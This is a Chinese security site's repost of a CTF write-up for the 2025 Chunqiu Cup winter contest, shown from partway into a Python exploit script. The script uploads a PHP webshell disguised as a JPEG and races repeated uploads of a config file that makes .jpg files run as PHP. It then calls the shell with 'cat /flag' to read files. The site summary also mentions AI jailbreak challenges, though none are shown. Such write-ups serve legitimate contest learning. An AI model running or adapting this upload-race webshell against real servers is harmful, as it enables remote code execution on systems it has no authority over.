2025春秋杯冬季赛个人赛wp

admin 2026-02-04 17:44:16 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文档详述了2025春秋杯冬季赛CTF解题思路,涵盖AI越狱、Web漏洞利用、密码学分析、二进制及云安全等方向,提供了详细的攻击脚本与Payload解析,对实战攻防演练具有较高参考价值。 综合评分: 95 文章分类: CTF,WEB安全,AI安全,漏洞POC,实战经验


‘, ‘image/jpeg’)}

payload = {‘upload_res’: ‘1’}

try:

resp = requests.post(UPLOAD_POINT, files=file_data, data=payload, verify=False, timeout=10)

if “Success” in resp.text:

return True

return False

except Exception as err:

return False

def repeat_htaccess():

htaccess_body = b”AddType application/x-httpd-php .jpg”

file_part = {‘file’: (‘test.config’, htaccess_body, ‘application/octet-stream’)}

param_part = {‘upload_conf’: ‘1’}

counter = 0

while not terminate_flag.is_set():

try:

requests.post(UPLOAD_POINT, files=file_part, data=param_part, verify=False, timeout=3)

counter += 1

if counter % 10 == 0:

print(f”[+] Sent config {counter} times…”, end=’\r’)

except:

continue

def verify_execution():

full_url = f”{TARGET_HOST}/{FILE_LOCATION}”

query_param = {‘cmd’: ‘cat /flag’}

while not terminate_flag.is_set():

try:

r = requests.get(full_url, params=query_param, verify=False, timeout=3)

if (“flag{” in r.text or “DASCTF{” in r.text or “ichunqiu{” in r.text) and “<?php” not in r.text:

print(f”\n[+] Retrieved data: {r.text.strip()}”)

terminate_flag.set()

success_flag.set()

return

except:

pass

def execute():

if not place_shell():

return

upload_thread = threading.Thread(target=repeat_htaccess)

check_thread = threading.Thread(target=verify_execution)

upload_thread.daemon = True

check_thread.daemon = True

upload_thread.start()

check_thread.start()

try:

success_flag.wait(timeout=30)

except KeyboardInterrupt:

pass

terminate_flag.set()

upload_thread.join(timeout=1)

check_thread.join(timeout=1)

if success_flag.is_set():

print(“\n[+] Done.”)

else:

print(“\n[!] Timeout.”)

if __name__ == “__main__”:

execute()

闲聊群,欢迎加入


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛查查 《2025春秋杯冬季赛个人赛wp》

评论:0   参与:  0